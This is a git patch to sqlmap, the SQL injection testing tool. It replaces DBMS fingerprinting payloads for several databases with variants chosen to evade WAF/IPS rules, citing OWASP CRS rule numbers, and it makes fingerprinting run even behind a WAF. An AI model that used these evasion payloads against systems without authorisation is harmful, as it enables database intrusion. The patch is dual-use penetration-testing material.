From cbe892410c9231fca29b5c79de1bb1cca5fb2458 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Mon, 17 Aug 2026 14:25:46 +0200 Subject: [PATCH] Adding more WAF friendly fingerprinting payloads --- lib/controller/action.py | 19 ++++++++------- lib/core/settings.py | 2 +- plugins/dbms/firebird/fingerprint.py | 8 ++++--- plugins/dbms/h2/fingerprint.py | 2 +- plugins/dbms/hsqldb/fingerprint.py | 2 +- plugins/dbms/mssqlserver/fingerprint.py | 4 ++-- plugins/dbms/mysql/fingerprint.py | 32 ++++++++++++------------- plugins/dbms/oracle/fingerprint.py | 3 ++- plugins/dbms/postgresql/fingerprint.py | 7 +++--- plugins/dbms/sybase/fingerprint.py | 3 ++- 10 files changed, 44 insertions(+), 38 deletions(-) diff --git a/lib/controller/action.py b/lib/controller/action.py index ee1efe6f6..000bc4215 100644 --- a/lib/controller/action.py +++ b/lib/controller/action.py @@ -42,17 +42,19 @@ def action(): # First of all we have to identify the back-end database management # system to be able to go ahead with the injection - # automatic WAF-bypass: if a WAF/IPS is present and the back-end DBMS is already indicated by the error - # page or the heuristic checks, skip active fingerprinting (the WAF would just block its payloads - # and flood the run with 403s) and assume that DBMS, so the user gets a usable result - if kb.wafBypass and not conf.forceDbms: + setHandler() + + # automatic WAF-bypass: fingerprinting probes are kept off the WAF/IPS blacklists, so it is tried + # first even behind a protection. Only if it comes back empty the back-end DBMS is assumed from + # the error page or the heuristic checks, so that the user still gets a usable result + if kb.wafBypass and not conf.forceDbms and not Backend.getIdentifiedDbms(): fallback = Backend.getErrorParsedDBMSes() or ([kb.heuristicDbms] if kb.heuristicDbms else []) fallback = next((_ for _ in fallback if _ and _.lower() in SUPPORTED_DBMS), None) if fallback: - logger.warning("skipping active back-end DBMS fingerprinting behind the WAF/IPS and assuming '%s' from error/heuristic detection" % fallback) + logger.warning("active back-end DBMS fingerprinting did not get through the WAF/IPS. Assuming '%s' from error/heuristic detection" % fallback) conf.forceDbms = fallback - setHandler() + setHandler() # multi-bit blind ('--multi-bit'): the back-end is known now, so its bit arithmetic can be checked # before nudging the user towards a channel that reads several characters per request (no requests) @@ -64,8 +66,9 @@ def action(): # automatic WAF-bypass: with MySQL behind the WAF, make data retrieval AND table enumeration survive a # libinjection-class WAF (e.g. OWASP CRS), verified end-to-end through ModSecurity/CRS: - # * fingerprinting was skipped, so flag has_information_schema (modern MySQL >=5.0 always has it) - - # otherwise enumeration wrongly assumes 'MySQL < 5.0' and bails with "no tables"; + # * flag has_information_schema (modern MySQL >=5.0 always has it) in case the DBMS was assumed + # rather than fingerprinted, otherwise enumeration wrongly assumes 'MySQL < 5.0' and bails + # with "no tables", # * 'blindbinary' reshapes the single-character read ORD(MID())->RIGHT(LEFT())>BINARY 0x.. (sheds the # ORD/MID function names scored by 942151/942190); # * 'infoschema2innodb' moves table enumeration off 'information_schema' (scored by 942140) onto diff --git a/lib/core/settings.py b/lib/core/settings.py index 733d5256f..ffe1c7f16 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.8.39" +VERSION = "1.10.8.40" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/dbms/firebird/fingerprint.py b/plugins/dbms/firebird/fingerprint.py index db0bbc07a..8ef60d7ea 100644 --- a/plugins/dbms/firebird/fingerprint.py +++ b/plugins/dbms/firebird/fingerprint.py @@ -72,9 +72,11 @@ class Fingerprint(GenericFingerprint): retVal = None table = ( ("1.0", ("EXISTS(SELECT CURRENT_USER FROM RDB$DATABASE)",)), - ("1.5", ("NULLIF(%d,%d) IS NULL", "EXISTS(SELECT CURRENT_TRANSACTION FROM RDB$DATABASE)")), - ("2.0", ("EXISTS(SELECT CURRENT_TIME(0) FROM RDB$DATABASE)", "BIT_LENGTH(%d)>0", "CHAR_LENGTH(%d)>0")), - ("2.1", ("BIN_XOR(%d,%d)=0", "PI()>0.%d", "RAND()<1.%d", "FLOOR(1.%d)>=0")), + # Note: NULLIF(), CURRENT_TIME(), BIT_LENGTH(), CHAR_LENGTH() and RAND() are all blacklisted + # by WAF/IPS (e.g. OWASP CRS rule 942151), so only markers from the same releases are kept + ("1.5", ("EXISTS(SELECT CURRENT_TRANSACTION FROM RDB$DATABASE)",)), + ("2.0", ("EXISTS(SELECT 1 FROM RDB$DATABASE ROWS 1)",)), + ("2.1", ("BIN_XOR(%d,%d)=0", "PI()>0.%d", "FLOOR(1.%d)>=0")), ("2.5", ("'%s' SIMILAR TO '%s'",)), # Reference: https://firebirdsql.org/refdocs/langrefupd25-similar-to.html ("3.0", ("FALSE IS FALSE",)), # https://www.firebirdsql.org/file/community/conference-2014/pdf/02_fb.2014.whatsnew.30.en.pdf ) diff --git a/plugins/dbms/h2/fingerprint.py b/plugins/dbms/h2/fingerprint.py index 44252d1ea..aa0284cbb 100644 --- a/plugins/dbms/h2/fingerprint.py +++ b/plugins/dbms/h2/fingerprint.py @@ -93,7 +93,7 @@ class Fingerprint(GenericFingerprint): infoMsg = "confirming %s" % DBMS.H2 logger.info(infoMsg) - result = inject.checkBooleanExpression("LEAST(ROUNDMAGIC(PI()),3)=3") + result = inject.checkBooleanExpression("ROUNDMAGIC(PI())>=3") # Note: same check without the blacklisted LEAST() if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.H2 diff --git a/plugins/dbms/hsqldb/fingerprint.py b/plugins/dbms/hsqldb/fingerprint.py index b58faee05..6621a948b 100644 --- a/plugins/dbms/hsqldb/fingerprint.py +++ b/plugins/dbms/hsqldb/fingerprint.py @@ -99,7 +99,7 @@ class Fingerprint(GenericFingerprint): infoMsg = "confirming %s" % DBMS.HSQLDB logger.info(infoMsg) - result = inject.checkBooleanExpression("LEAST(ROUNDMAGIC(PI()),3)=3") + result = inject.checkBooleanExpression("ROUNDMAGIC(PI())>=3") # Note: same check without the blacklisted LEAST() if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.HSQLDB diff --git a/plugins/dbms/mssqlserver/fingerprint.py b/plugins/dbms/mssqlserver/fingerprint.py index 18b4b0beb..8605600da 100644 --- a/plugins/dbms/mssqlserver/fingerprint.py +++ b/plugins/dbms/mssqlserver/fingerprint.py @@ -91,9 +91,9 @@ class Fingerprint(GenericFingerprint): for version, check in ( ("Azure", "@@VERSION LIKE '%Azure%'"), ("2025", "CHARINDEX('17.0.',@@VERSION)>0"), - ("2022", "GREATEST(NULL,NULL) IS NULL"), + ("2022", "LEFT_SHIFT(1,1)=2"), # Note: same release as the blacklisted GREATEST() ("2019", "CHARINDEX('15.0.',@@VERSION)>0"), - ("2017", "TRIM(NULL) IS NULL"), + ("2017", "TRANSLATE('[RANDSTR]','[RANDSTR]','[RANDSTR]')='[RANDSTR]'"), # Note: same release as the blacklisted TRIM() ("2016", "ISJSON(NULL) IS NULL"), ("2014", "CHARINDEX('12.0.',@@VERSION)>0"), ("2012", "CONCAT(NULL,NULL)=CONCAT(NULL,NULL)"), diff --git a/plugins/dbms/mysql/fingerprint.py b/plugins/dbms/mysql/fingerprint.py index f6e1d6600..18874b856 100644 --- a/plugins/dbms/mysql/fingerprint.py +++ b/plugins/dbms/mysql/fingerprint.py @@ -72,7 +72,8 @@ class Fingerprint(GenericFingerprint): found = False for candidate in versions: - result = inject.checkBooleanExpression("[RANDNUM]=[RANDNUM]/*!%d AND [RANDNUM1]=[RANDNUM2]*/" % candidate[0]) + # Note: '.0' keeps the (always false) comparison, but takes the comment off WAF/IPS blacklists (e.g. OWASP CRS rule 942500) + result = inject.checkBooleanExpression("[RANDNUM]=[RANDNUM]/*!%d AND [RANDNUM1].0=[RANDNUM2]*/" % candidate[0]) if not result: found = True @@ -81,7 +82,7 @@ class Fingerprint(GenericFingerprint): if found: for version in xrange(candidate[1], candidate[0] - 1, -1): version = getUnicode(version) - result = inject.checkBooleanExpression("[RANDNUM]=[RANDNUM]/*!%s AND [RANDNUM1]=[RANDNUM2]*/" % version) + result = inject.checkBooleanExpression("[RANDNUM]=[RANDNUM]/*!%s AND [RANDNUM1].0=[RANDNUM2]*/" % version) if not result: if version[0] == "3": @@ -119,6 +120,8 @@ class Fingerprint(GenericFingerprint): fork = FORK.DORIS elif inject.checkBooleanExpression("@@VERSION_COMMENT LIKE '%StarRocks%'"): fork = FORK.STARROCKS + elif inject.checkBooleanExpression("GEOGRAPHY_AREA(NULL) IS NULL"): # Note: MemSQL is the only one of the forks without SESSION_USER() + fork = FORK.MEMSQL elif inject.checkBooleanExpression("AURORA_VERSION() LIKE '%'"): # Reference: https://aws.amazon.com/premiumsupport/knowledge-center/aurora-version-number/ fork = FORK.AURORA else: @@ -200,20 +203,14 @@ class Fingerprint(GenericFingerprint): infoMsg = "testing %s" % DBMS.MYSQL logger.info(infoMsg) - result = inject.checkBooleanExpression("IFNULL(QUARTER(NULL),NULL XOR NULL) IS NULL") + # Note: QUARTER() and XOR are the MySQL specifics here, while the dropped IFNULL() only added a name that WAF/IPS blacklist (e.g. OWASP CRS rule 942151) + result = inject.checkBooleanExpression("QUARTER(NULL) IS NULL AND (NULL XOR NULL) IS NULL") if result: infoMsg = "confirming %s" % DBMS.MYSQL logger.info(infoMsg) - result = inject.checkBooleanExpression("COALESCE(SESSION_USER(),USER()) IS NOT NULL") - - if not result: - # Note: MemSQL doesn't support SESSION_USER() - result = inject.checkBooleanExpression("GEOGRAPHY_AREA(NULL) IS NULL") - - if result: - hashDBWrite(HASHDB_KEYS.DBMS_FORK, FORK.MEMSQL) + result = inject.checkBooleanExpression("(QUARTER(NULL) XOR [RANDNUM]) IS NULL") if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.MYSQL @@ -227,19 +224,20 @@ class Fingerprint(GenericFingerprint): kb.data.has_information_schema = True # Determine if it is MySQL >= 9.0.0 - if inject.checkBooleanExpression("ISNULL(VECTOR_DIM(NULL))"): + if inject.checkBooleanExpression("VECTOR_DIM(NULL) IS NULL"): Backend.setVersion(">= 9.0.0") setDbms("%s 9" % DBMS.MYSQL) self.getBanner() # Determine if it is MySQL >= 8.0.0 - elif inject.checkBooleanExpression("ISNULL(JSON_STORAGE_FREE(NULL))"): + elif inject.checkBooleanExpression("JSON_STORAGE_FREE(NULL) IS NULL"): Backend.setVersion(">= 8.0.0") setDbms("%s 8" % DBMS.MYSQL) self.getBanner() # Determine if it is MySQL >= 5.0.0 - elif inject.checkBooleanExpression("ISNULL(TIMESTAMPADD(MINUTE,[RANDNUM],NULL))"): + # Note: '@@automatic_sp_privileges' (MySQL 5.0.3) instead of the blacklisted TIMESTAMPADD() + elif inject.checkBooleanExpression("@@automatic_sp_privileges=@@automatic_sp_privileges"): Backend.setVersion(">= 5.0.0") setDbms("%s 5" % DBMS.MYSQL) self.getBanner() @@ -251,11 +249,11 @@ class Fingerprint(GenericFingerprint): logger.info(infoMsg) # Check if it is MySQL >= 5.7 - if inject.checkBooleanExpression("ISNULL(JSON_QUOTE(NULL))"): + if inject.checkBooleanExpression("JSON_QUOTE(NULL) IS NULL"): Backend.setVersion(">= 5.7") # Check if it is MySQL >= 5.6 - elif inject.checkBooleanExpression("ISNULL(VALIDATE_PASSWORD_STRENGTH(NULL))"): + elif inject.checkBooleanExpression("VALIDATE_PASSWORD_STRENGTH(NULL) IS NULL"): Backend.setVersion(">= 5.6") # Check if it is MySQL >= 5.5 @@ -339,7 +337,7 @@ class Fingerprint(GenericFingerprint): infoMsg = "fingerprinting the back-end DBMS operating system" logger.info(infoMsg) - result = inject.checkBooleanExpression("'W'=UPPER(MID(@@version_compile_os,1,1))") + result = inject.checkBooleanExpression("'W'=UPPER(LEFT(@@version_compile_os,1))") # Note: LEFT() instead of the blacklisted MID() if result: Backend.setOs(OS.WINDOWS) diff --git a/plugins/dbms/oracle/fingerprint.py b/plugins/dbms/oracle/fingerprint.py index 5eacf4324..eacf4fc70 100644 --- a/plugins/dbms/oracle/fingerprint.py +++ b/plugins/dbms/oracle/fingerprint.py @@ -126,7 +126,8 @@ class Fingerprint(GenericFingerprint): # Reference: https://en.wikipedia.org/wiki/Oracle_Database for version in ("23c", "21c", "19c", "18c", "12c", "11g", "10g", "9i", "8i", "7"): number = int(re.search(r"([\d]+)", version).group(1)) - output = inject.checkBooleanExpression("%d=(SELECT SUBSTR((VERSION),1,%d) FROM SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1)" % (number, 1 if number < 10 else 2)) + # Note: prefix matching instead of the blacklisted SUBSTR() + output = inject.checkBooleanExpression("(SELECT VERSION FROM SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1) LIKE '%d%%'" % number) if output: Backend.setVersion(version) diff --git a/plugins/dbms/postgresql/fingerprint.py b/plugins/dbms/postgresql/fingerprint.py index 3bcf8a510..1e5e82330 100644 --- a/plugins/dbms/postgresql/fingerprint.py +++ b/plugins/dbms/postgresql/fingerprint.py @@ -118,7 +118,8 @@ class Fingerprint(GenericFingerprint): infoMsg = "confirming %s" % DBMS.PGSQL logger.info(infoMsg) - result = inject.checkBooleanExpression("COALESCE([RANDNUM], NULL)=[RANDNUM]") + # Note: TO_HEX() is PostgreSQL specific as well, and not blacklisted like COALESCE() + result = inject.checkBooleanExpression("TO_HEX([RANDNUM]) IS NOT NULL") if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.PGSQL @@ -142,7 +143,7 @@ class Fingerprint(GenericFingerprint): Backend.setVersion(">= 16.0") elif inject.checkBooleanExpression("REGEXP_COUNT(NULL,NULL) IS NULL"): Backend.setVersion(">= 15.0") - elif inject.checkBooleanExpression("BIT_COUNT(NULL) IS NULL"): + elif inject.checkBooleanExpression("TRIM_ARRAY(ARRAY[1,2],1)=ARRAY[1]"): # Note: same release as the blacklisted BIT_COUNT() Backend.setVersion(">= 14.0") elif inject.checkBooleanExpression("NULL::anycompatible IS NULL"): Backend.setVersion(">= 13.0") @@ -154,7 +155,7 @@ class Fingerprint(GenericFingerprint): Backend.setVersionList([">= 10.0", "< 11.0"]) elif inject.checkBooleanExpression("SIND(0)=0"): Backend.setVersionList([">= 9.6.0", "< 10.0"]) - elif inject.checkBooleanExpression("TO_JSONB(1) IS NOT NULL"): + elif inject.checkBooleanExpression("ARRAY_POSITION(ARRAY[1,2],2)=2"): # Note: same release as the blacklisted TO_JSONB() Backend.setVersionList([">= 9.5.0", "< 9.6.0"]) elif inject.checkBooleanExpression("JSON_TYPEOF(NULL) IS NULL"): Backend.setVersionList([">= 9.4.0", "< 9.5.0"]) diff --git a/plugins/dbms/sybase/fingerprint.py b/plugins/dbms/sybase/fingerprint.py index 64b66ba42..b384a0e96 100644 --- a/plugins/dbms/sybase/fingerprint.py +++ b/plugins/dbms/sybase/fingerprint.py @@ -106,7 +106,8 @@ class Fingerprint(GenericFingerprint): Backend.setVersion(str(result)) else: for version in xrange(12, 16): - result = inject.checkBooleanExpression("PATINDEX('%%/%d[./]%%',@@VERSION)>0" % version) + # Note: plain LIKE matches the same two shapes, without the bracket class that WAF/IPS score (e.g. OWASP CRS rule 932130) + result = inject.checkBooleanExpression("(@@VERSION LIKE '%%/%d.%%' OR @@VERSION LIKE '%%/%d/%%')" % (version, version)) if result: Backend.setVersion(str(version))